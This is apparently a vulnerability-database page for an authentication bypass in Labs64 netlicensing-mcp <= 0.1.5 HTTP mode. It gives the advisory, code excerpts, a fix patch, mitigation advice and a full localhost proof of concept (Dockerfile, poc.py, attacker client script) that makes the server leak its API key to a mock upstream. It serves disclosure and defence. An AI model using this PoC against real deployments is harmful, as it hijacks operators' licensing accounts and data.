Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A07:2025 - Authentication Failures
ASVS 5.0
V6 - Authentication Authentication required for critical functions
MITRE ATT&CK
1 technique across 1 tactic: Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
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Alert meAnalysisAIv1 – Jul 14, 2026
Unauthenticated abuse of the operator's NetLicensing credential affects Labs64 netlicensing-mcp (FastMCP server) versions <= 0.1.5 when run in HTTP transport mode. The ApiKeyMiddleware forwards requests that carry no client API key straight to the tool handlers, and the downstream client falls back to the server-side NETLICENSING_API_KEY environment variable, so any network-reachable attacker can invoke every MCP tool (list/create/update/delete of products, licenses, licensees, tokens) under the operator's identity and account quota. Publicly available exploit code exists (a self-contained Docker/Python PoC in the advisory), no public active exploitation is confirmed, and the issue is fixed in 0.1.6.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
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Severity by source
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Primary rating from Vendor (https://github.com/Labs64/NetLicensing-MCP) · only source for this CVE.
CVSS VectorVendor: https://github.com/Labs64/NetLicensing-MCP
DescriptionCVE.org
Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode
Summary
When netlicensing-mcp is run in HTTP transport mode, the ApiKeyMiddleware fails to enforce authentication: requests that carry no client API key are unconditionally forwarded to the next handler (server.py:1427). The downstream HTTP client then falls back to the server operator's NETLICENSING_API_KEY environment variable (client.py:30) and uses it to authenticate every upstream call to the NetLicensing REST API. An unauthenticated network attacker can therefore invoke any MCP tool - including product listing, license creation/modification, and destructive delete operations - entirely under the operator's identity and account quota. CVSS 3.1 Base Score: 8.1 (High).
Details
The HTTP transport is started in src/netlicensing_mcp/server.py around line 1430 via mcp.streamable_http_app(), and ApiKeyMiddleware is registered immediately after (line 1431). The middleware implementation (lines 1412-1427) attempts to extract a per-request API key from either the x-netlicensing-api-key header or the ?apikey= query parameter. However, if neither source provides a key, the middleware takes no enforcement action and simply calls return await call_next(request) (line 1427), passing the unauthenticated request downstream.
The downstream client module (src/netlicensing_mcp/client.py) uses a Python ContextVar named api_key_ctx with a default of os.getenv("NETLICENSING_API_KEY", "") (line 30). Because the middleware never sets this context variable for unauthenticated requests, api_key_ctx.get() returns the server-level environment variable. The client then encodes this value into an HTTP Basic Authorization header (lines 62-70) and transmits it to the upstream NetLicensing REST API on every request (lines 105, 109).
The complete exploitable data flow is:
| Step | Location | Description |
|---|---|---|
| 1 | server.py:1430 | HTTP app created with mcp.streamable_http_app() |
| 2 | server.py:1431 | ApiKeyMiddleware registered |
| 3 | server.py:1412-1419 | Middleware attempts (optional) key extraction from headers/query |
| 4 | server.py:1427 | Auth bypass sink: missing key → return await call_next(request) |
| 5 | server.py:155-163 | Unauthenticated caller invokes netlicensing_list_products (or any tool) |
| 6 | tools/products.py:9,17 | Tool delegates to nl_get("/product", ...) |
| 7 | client.py:30 | Source: api_key_ctx defaults to NETLICENSING_API_KEY env var |
| 8 | client.py:62-70 | Authorization: Basic base64("apiKey:<key>") constructed |
| 9 | client.py:105,109 | Upstream sink: client.get(url, headers=_headers(), ...) executed |
Critical code excerpts:
# src/netlicensing_mcp/server.py
1418: if not key:
1419: key = request.query_params.get("apikey")
1421: if key:
1422: token = api_key_ctx.set(key)
...
1427: return await call_next(request)
# <-- no rejection when key is absent# src/netlicensing_mcp/client.py
30: "api_key", default=os.getenv("NETLICENSING_API_KEY", "")
# server-side fallback
...
64: auth_str = f"apiKey:{api_key}"
70: "Authorization": f"Basic {token}",
...
109: r = await client.get(url, headers=_headers(), params=params or {})The README (README.md:90-94) documents the HTTP mode deployment pattern with -e NETLICENSING_API_KEY=your_key as a first-class production deployment option, including AWS App Runner / ELB examples (README.md:310-318). The per-client key recommendation (README.md:318) is advisory only and is not technically enforced.
A suggested patch replaces the unconditional pass-through with a 401 rejection:
--- a/src/netlicensing_mcp/server.py
+++ b/src/netlicensing_mcp/server.py
@@
class ApiKeyMiddleware(BaseHTTPMiddleware):
async def dispatch(self, request: Request, call_next):
+ if request.url.path == "/health":
+ return await call_next(request)
+
key = request.headers.get("x-netlicensing-api-key")
if not key:
auth = request.headers.get("authorization")
if auth and auth.lower().startswith("bearer "):
key = auth[7:]
@@
return await call_next(request)
finally:
api_key_ctx.reset(token)
- return await call_next(request)
+ return JSONResponse(
+ {"error": "NetLicensing API key is required for HTTP transport"},
+ status_code=401,
+ )PoC
Environment requirements:
- Docker (or Python 3.12 with
netlicensing-mcp==0.1.5andmcpclient installed) - Target commit:
ef0080c2aebbf4dfbce93a959dd7c1471103c05a
Self-contained Docker reproduction (all-in-one):
# Build the image from the repository root
docker build -f vuln-001/Dockerfile -t vuln-001-netlicensing .
# Run the PoC - exits 0 on confirmed exploit
docker run --rm --network=host vuln-001-netlicensingManual step-by-step reproduction:
# Terminal 1 - mock upstream NetLicensing REST API
python3 - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
class H(BaseHTTPRequestHandler):
def do_GET(self):
print("MOCK_REQUEST", self.command, self.path,
self.headers.get("Authorization"), flush=True)
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
self.wfile.write(json.dumps({"items": {"item": []}}).encode())
def log_message(self, *args): pass
HTTPServer(("127.0.0.1", 19090), H).serve_forever()
PY
# Terminal 2 - vulnerable MCP server in HTTP mode with a server-side API key
NETLICENSING_API_KEY=SERVERSECRET \
NETLICENSING_BASE_URL=http://127.0.0.1:19090/core/v2/rest \
MCP_HOST=127.0.0.1 MCP_PORT=18181 PYTHONPATH=src \
python3 -m netlicensing_mcp.server http
# Terminal 3 - attacker: connect with NO API key and invoke a tool
python3 - <<'PY'
import asyncio
from mcp import ClientSession
from mcp.client.streamable_http import streamablehttp_client
async def main():
async with streamablehttp_client("http://127.0.0.1:18181/mcp") as (read, write, _):
async with ClientSession(read, write) as session:
await session.initialize()
print(await session.call_tool("netlicensing_list_products", {"filter": ""}))
asyncio.run(main())
PYExpected output in Terminal 1:
MOCK_REQUEST GET /core/v2/rest/product Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==Decoding the Base64 credential confirms the operator's secret was used:
$ echo YXBpS2V5OlNFUlZFUlNFQ1JFVA== | base64 -d
apiKey:SERVERSECRETObserved evidence from dynamic reproduction (Phase 2):
[MOCK_UPSTREAM] GET /core/v2/rest/product Authorization=Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==
Decoded: apiKey:SERVERSECRET
[EXPLOIT CONFIRMED] Unauthenticated MCP client caused the server to forward its own
NETLICENSING_API_KEY='SERVERSECRET' to the upstream NetLicensing API.
CWE-306 / VULN-001 reproduced.Impact
This is a Missing Authentication for Critical Function (CWE-306) vulnerability. Any network-reachable attacker who can send HTTP requests to the /mcp endpoint can invoke the full set of MCP tools - including read, create, update, and delete operations - without supplying any credential. The attacker's requests are transparently executed under the server operator's NetLicensing account.
Concrete consequences include:
- Confidentiality: enumeration of all products, licenses, licensees, and transactions associated with the operator's account.
- Integrity: creation of new licenses or licensees, modification of existing license parameters, and forging token-based validations.
- Availability: bulk deletion of products, licenses, or licensees, destroying the operator's licensing configuration.
Who is impacted: Operators who deploy netlicensing-mcp in HTTP transport mode (python3 -m netlicensing_mcp.server http) with NETLICENSING_API_KEY set as a server-side environment variable and expose the service on a network-reachable interface. This deployment pattern is officially documented in the project README for remote/shared and cloud deployments.
Reproduction artifacts
Dockerfile
FROM python:3.12-slim
RUN apt-get update && apt-get install -y --no-install-recommends git \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /app
# Copy repo (with .git for hatch-vcs versioning) and PoC script
COPY repo/ /app/repo/
COPY vuln-001/poc.py /app/poc.py
# Install the vulnerable MCP server package and its dependencies
RUN cd /app/repo && pip install --no-cache-dir .
CMD ["python3", "/app/poc.py"]poc.py
#!/usr/bin/env python3
"""
PoC for VULN-001: Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode
CWE-306 - Missing Authentication for Critical Function
Attack scenario:
1. Operator runs MCP server in HTTP mode with NETLICENSING_API_KEY set server-side.
2. Attacker connects to /mcp endpoint supplying NO API key whatsoever.
3. ApiKeyMiddleware (server.py:1427) passes the request through unconditionally.
4. Downstream client.py:30 falls back to the server-env NETLICENSING_API_KEY.
5. The upstream NetLicensing REST API receives the operator's credential - attacker
effectively uses the operator's account for all MCP tool invocations.
Expected evidence: mock upstream prints
Authorization: Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==
Decoded: apiKey:SERVERSECRET
even though the MCP client sent no credentials.
"""
import asyncio
import base64
import json
import os
import subprocess
import sys
import threading
import time
from http.server import BaseHTTPRequestHandler, HTTPServer
# ─── Configuration ────────────────────────────────────────────────────────────
MOCK_PORT = 19090
MCP_PORT = 18181
SERVER_API_KEY = "SERVERSECRET"
# simulated operator secret injected via env var
# ─── Mock upstream NetLicensing REST API ─────────────────────────────────────
captured_requests: list[dict] = []
mock_ready = threading.Event()
class MockUpstreamHandler(BaseHTTPRequestHandler):
def _handle(self):
auth = self.headers.get("Authorization", "<none>")
entry = {
"method": self.command,
"path": self.path,
"authorization": auth,
}
captured_requests.append(entry)
print(
f"[MOCK_UPSTREAM] {self.command} {self.path} "
f"Authorization={auth}",
flush=True,
)
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
self.wfile.write(json.dumps({"items": {"item": []}}).encode())
do_GET = _handle
do_POST = _handle
do_PUT = _handle
def log_message(self, *args):
pass
def _run_mock(port: int) -> None:
srv = HTTPServer(("127.0.0.1", port), MockUpstreamHandler)
mock_ready.set()
srv.serve_forever()
# ─── Helpers ─────────────────────────────────────────────────────────────────
def _decode_basic(header: str) -> str | None:
if not header.startswith("Basic "):
return None
try:
return base64.b64decode(header[6:]).decode()
except Exception:
return None
async def _wait_for_mcp(host: str, port: int, timeout: float = 15.0) -> bool:
"""Poll until the MCP /health endpoint responds or timeout."""
import httpx
deadline = time.monotonic() + timeout
while time.monotonic() < deadline:
try:
async with httpx.AsyncClient() as c:
r = await c.get(f"http://{host}:{port}/health", timeout=1)
if r.status_code < 500:
return True
except Exception:
pass
await asyncio.sleep(0.4)
return False
# ─── PoC ──────────────────────────────────────────────────────────────────────
async def main() -> None:
# 1. Start mock upstream
t = threading.Thread(target=_run_mock, args=(MOCK_PORT,), daemon=True)
t.start()
mock_ready.wait(timeout=5)
print(f"[*] Mock upstream listening on 127.0.0.1:{MOCK_PORT}", flush=True)
# 2. Launch vulnerable MCP server in HTTP mode with server-side API key
env = os.environ.copy()
env.update({
"NETLICENSING_API_KEY": SERVER_API_KEY,
"NETLICENSING_BASE_URL": f"http://127.0.0.1:{MOCK_PORT}/core/v2/rest",
"MCP_HOST": "127.0.0.1",
"MCP_PORT": str(MCP_PORT),
})
proc = subprocess.Popen(
[sys.executable, "-m", "netlicensing_mcp.server", "http"],
env=env,
cwd="/app/repo",
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)
print(f"[*] Vulnerable MCP server started (pid={proc.pid})", flush=True)
ready = await _wait_for_mcp("127.0.0.1", MCP_PORT, timeout=15)
if not ready:
# /health may not exist; just wait a fixed time
print("[*] /health not responding - waiting 5 s anyway ...", flush=True)
await asyncio.sleep(5)
if proc.poll() is not None:
_, err = proc.communicate()
print(f"[!] MCP server exited unexpectedly:\n{err.decode()}", flush=True)
sys.exit(1)
print(f"[*] MCP server ready on 127.0.0.1:{MCP_PORT}", flush=True)
# 3. Attack: connect WITHOUT any API key and invoke a tool
print(
"\n[ATTACK] Sending MCP tool call to netlicensing_list_products "
"with NO client API key ...",
flush=True,
)
try:
from mcp import ClientSession
from mcp.client.streamable_http import streamablehttp_client
async with streamablehttp_client(
f"http://127.0.0.1:{MCP_PORT}/mcp"
) as (read, write, _):
async with ClientSession(read, write) as session:
await session.initialize()
result = await session.call_tool(
"netlicensing_list_products", {"filter": ""}
)
print(f"[*] Tool call succeeded: {result}", flush=True)
except Exception as exc:
print(f"[*] MCP client exception (may be normal upstream error): {exc}", flush=True)
finally:
proc.terminate()
await asyncio.sleep(0.5)
# 4. Evaluate captured evidence
print("\n" + "=" * 70, flush=True)
print("CAPTURED UPSTREAM REQUESTS:", flush=True)
for req in captured_requests:
print(f" {req['method']} {req['path']}", flush=True)
print(f" Authorization: {req['authorization']}", flush=True)
decoded = _decode_basic(req["authorization"])
if decoded:
print(f" Decoded: {decoded}", flush=True)
print("=" * 70, flush=True)
# 5. Verdict
server_key_leaked = any(
SERVER_API_KEY in (_decode_basic(r["authorization"]) or "")
for r in captured_requests
)
if server_key_leaked:
print(
f"\n[EXPLOIT CONFIRMED] Unauthenticated MCP client caused the server to "
f"forward its own NETLICENSING_API_KEY='{SERVER_API_KEY}' to the upstream "
f"NetLicensing API. CWE-306 / VULN-001 reproduced.",
flush=True,
)
sys.exit(0)
elif not captured_requests:
print(
"\n[FAIL] No upstream requests captured - the MCP tool call did not "
"reach the upstream API.",
flush=True,
)
sys.exit(2)
else:
print(
"\n[FAIL] Upstream requests captured but server API key not found in "
"Authorization headers.",
flush=True,
)
sys.exit(2)
if __name__ == "__main__":
asyncio.run(main())Articles & Coverage 1
Executive ViewAI
Labs64 netlicensing-mcp versions 0.1.5 and earlier are vulnerable to complete account compromise via unauthenticated API abuse when deployed in HTTP mode. Attackers can invoke all licensing operations-creating, modifying, or deleting products and licenses-under the operator's identity and account quota without providing credentials. Any organization running the affected FastMCP server requires immediate patching.
Within 24 hours, identify all deployments running netlicensing-mcp versions ≤0.1.5 by checking deployed container tags and application manifests; if HTTP transport is enabled, treat as critical. Within 7 days, deploy version 0.1.6 or higher across all environments, or immediately disable HTTP transport and enforce HTTPS-only access with explicit API key validation as a temporary measure if 0.1.6 rollout cannot complete in that window. Within 30 days, audit NetLicensing activity logs (product, license, licensee, and token operations) for the window during which vulnerable versions were running to detect any unauthorized modifications or quota abuse.
Apply vendor patch: version 0.1.6. If immediate patching is not possible, disable HTTP transport entirely and enforce HTTPS with client API key requirement via reverse proxy or WAF until patched.
Threat Intelligence Overview
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SSVC AssessmentENISA
Priority Score
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